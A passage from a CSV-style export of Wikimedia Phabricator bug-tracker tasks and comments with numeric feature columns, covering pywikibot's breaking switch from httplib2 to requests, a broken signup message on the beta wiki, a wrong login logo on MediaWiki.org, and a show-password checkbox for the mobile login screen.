I guess @xqt meant with “hint” a warning beforehand.",,,1433332308,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,0.8235294117647058,"QUOTE
QUOTE
QUOTE

I guessSCREEN_NAME meant with “hint” a warning beforehand."
468173,[BREAKING]  Change: Switch from httplib2 to requests,"The fact master is going to be unstable was announced after the RC was released  on May 28, with explicit recommendation to not update your master for bots running on production wikis.

https://lists.wikimedia.org/pipermail/pywikibot/2015-May/009268.html

```
The tarball releases are currently locked to the git revision before
the Lyon Hackathon.  This was done to prevent large code merges
affecting users of the tarballs and Wikimedia labs shared pywikibot.
There was one large change merged for RC 1, and there are a few more
large changes which will be merged before the final pywikibot 2.0.

I suggest bot operators avoid the unstable master by not updating
regularly using git, but using the labs shared version or the pip
package.  We'll announce each new release candidate for people to
upgrade to.
```",,,1433328712,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,5.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,9.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,16.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9069767441860463,0.813953488372093,"The fact master is going to be unstable was announced after the RC was released  on May 28, with explicit recommendation to not update your master for bots running on production wikis.

URL

``CODE``"
468172,[BREAKING]  Change: Switch from httplib2 to requests,"Its still bad form to break a framework without having a fallback. What should have happened is introduce new system, throw warnings to user about missing module, give users reasonable time to fix, then remove the fallback for maintainability.  However stability of the framework seems to have degraded significantly since moving from compat. Introducing such a breaking chance without a fallback is a Really Bad Idea™, and is one of the main reasons I know people continue to use compat since there are far fewer stability issues.",,,1433328005,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,6.0,14.0,0.0,5.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,8.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,0.0,5.0,1.0,0.0,0.0,4.587628865979381,0.7216494845360825,"Its still bad form to break a framework without having a fallback. What should have happened is introduce new system, throw warnings to user about missing module, give users reasonable time to fix, then remove the fallback for maintainability.  However stability of the framework seems to have degraded significantly since moving from compat. Introducing such a breaking chance without a fallback is a Really Bad Idea™, and is one of the main reasons I know people continue to use compat since there are far fewer stability issues."
468131,[BREAKING]  Change: Switch from httplib2 to requests,"The hint is there: install requests.
See also the email to the mailing list.",,,1433319715,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8888888888888888,"The hint is there: install requests.
See also the email to the mailing list."
100800,en.wikipedia.beta.wmflabs.org create account contains <logintart>,"http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup

says

""This wiki does not share accounts with normal Wikimedia infrastructure. It is also not secure. When registering, please create a UNIQUE password for this site only. Consider if you feel safe if everyone in the world knew this password, because it might be easily intercepted. <loginstart> ""

",Low,25.0,1432910982,1434970360.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-bigkgpbbvkg2j7bslbuw,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,2.0,0.0,2.0,3.0,7.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,7.0,0.0,8.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,10.0,3.0,0.0,3.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,5.0,4.229508196721311,0.819672131147541,"URL

says

""This wiki does not share accounts with normal Wikimedia infrastructure. It is also not secure. When registering, please create a UNIQUE password for this site only. Consider if you feel safe if everyone in the world knew this password, because it might be easily intercepted. <loginstart> ""

"
478951,en.wikipedia.beta.wmflabs.org create account contains <logintart>,Resolved somehow. I guess the l10n cache was stalled.,,,1434970360,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bigkgpbbvkg2j7bslbuw,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,Resolved somehow. I guess the l10n cache was stalled.
100633,MediaWiki.org shows wrong login icon,"It shows the Wikimedia Foundation logo on the MediaWiki.org login screen.  It should show the MediaWiki.org logo (https://www.mediawiki.org/static/images/project-logos/mediawikiwiki.png, maybe without the text).",Low,25.0,1432803933,1433374570.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-alq542s32wmmdpy7x4v7,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,26.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.481481481481482,0.7407407407407407,It shows the Wikimedia Foundation logo on the MediaWiki.org login screen.  It should show the MediaWiki.org logo (URL maybe without the text).
468722,MediaWiki.org shows wrong login icon,done!,,,1433374570,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,done!
468710,MediaWiki.org shows wrong login icon,"Change 215361 merged by jenkins-bot:
Enable MediaWiki logo on mobile login page

[[https://gerrit.wikimedia.org/r/215361]]",,,1433373684,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.9090909090909091,"Change 215361 merged by jenkins-bot:
Enable MediaWiki logo on mobile login page

[[GERRIT_URL]]"
468545,MediaWiki.org shows wrong login icon,Requested deploy https://wikitech.wikimedia.org/wiki/Deployments#Wednesday.2C.C2.A0June.C2.A003,,,1433361367,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Requested deploy URL
467642,MediaWiki.org shows wrong login icon,"Change 215361 had a related patch set uploaded (by Jdlrobson):
Enable MediaWiki logo on mobile login page

[[https://gerrit.wikimedia.org/r/215361]]
",,,1433265284,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.962962962962963,0.8888888888888888,"Change 215361 had a related patch set uploaded (by Jdlrobson):
Enable MediaWiki logo on mobile login page

[[GERRIT_URL]]
"
467641,MediaWiki.org shows wrong login icon,It's a config variable which defaults to Wikimedia Foundation logo. Easy config fix.,,,1433265262,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-alq542s32wmmdpy7x4v7,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.5,0.875,It's a config variable which defaults to Wikimedia Foundation logo. Easy config fix.
99680,Login screen should have a display password checkbox,The create account screen has the option to display the password entered. This task is to duplicate that functionality for the login screen.,Low,25.0,1432052467,1440646904.0,PHID-USER-6tlavgtsosjuvizsej53,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_description,resolved,True,c3,1,False,False,True,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,8.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.72,0.8,The create account screen has the option to display the password entered. This task is to duplicate that functionality for the login screen.
511137,Login screen should have a display password checkbox,"Checked on Checked with 2.0.108-alpha-2015-08-19 on Nexus5(Android 5.1)
Samsung Tablet Ce0168(Android 4.0.4)

The screenshots are from Nexus5(Android 5.1)
{F1902816}

{F1902818}

{F1902820}

{F1902822}",,,1440014862,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.133333333333334,0.6,"Checked on Checked with 2.0.108-alpha-2015-08-19 on Nexus5(Android 5.1)
Samsung Tablet Ce0168(Android 4.0.4)

The screenshots are from Nexus5(Android 5.1)
{F1902816}

{F1902818}

{F1902820}

{F1902822}"
508690,Login screen should have a display password checkbox,Signed off by design.,,,1439588580,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Signed off by design.
503622,Login screen should have a display password checkbox,"{F654143}

{F654145}",,,1438897266,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.7142857142857143,"{F654143}

{F654145}"
503620,Login screen should have a display password checkbox,A checkbox feels like a bit strange on mobile,,,1438897197,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,A checkbox feels like a bit strange on mobile
503619,Login screen should have a display password checkbox,"Twitter has an interesting 'show password' with an eye
http://pttrns.com/applications/353?page=2",,,1438897180,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.8461538461538461,"Twitter has an interesting 'show password' with an eye
URL"
503611,Login screen should have a display password checkbox,"Any way we could use the material design toggle here?
",,,1438896700,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,5,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Any way we could use the material design toggle here?
"
501907,Login screen should have a display password checkbox,"Change 229072 merged by jenkins-bot:
Show ""Display password"" check box on login screen

[[https://gerrit.wikimedia.org/r/229072]]",,,1438707330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.64,0.88,"Change 229072 merged by jenkins-bot:
Show ""Display password"" check box on login screen

[[GERRIT_URL]]"
501646,Login screen should have a display password checkbox,"Change 229072 had a related patch set uploaded (by Deskana):
Show ""Display password"" check box on login screen

[[https://gerrit.wikimedia.org/r/229072]]
",,,1438661716,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7,0.8666666666666667,"Change 229072 had a related patch set uploaded (by Deskana):
Show ""Display password"" check box on login screen

[[GERRIT_URL]]
"
460870,Login screen should have a display password checkbox,"Please do default it to hide the password, with a ""show password"" checkbox (or checked ""hide password""), unless we have very strong evidence that it's hurting the UX.",,,1432052902,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,8.0,11.0,5.0,0.0,11.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6578947368421053,0.7631578947368421,"Please do default it to hide the password, with a ""show password"" checkbox (or checked ""hide password""), unless we have very strong evidence that it's hurting the UX."
460867,Login screen should have a display password checkbox,Correct. The create account checkbox defaults to unchecked.,,,1432052780,,PHID-USER-6tlavgtsosjuvizsej53,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,0.9,Correct. The create account checkbox defaults to unchecked.
460865,Login screen should have a display password checkbox,"This is default off, right?",,,1432052655,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ycl2lvdm4acoirmqkzlr,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,"This is default off, right?"
99370,httplib2 0.6.0 is required,"```
>>> import pywikibot
Error: Python module httplib2 >= 0.6.0 is required.
>>> 
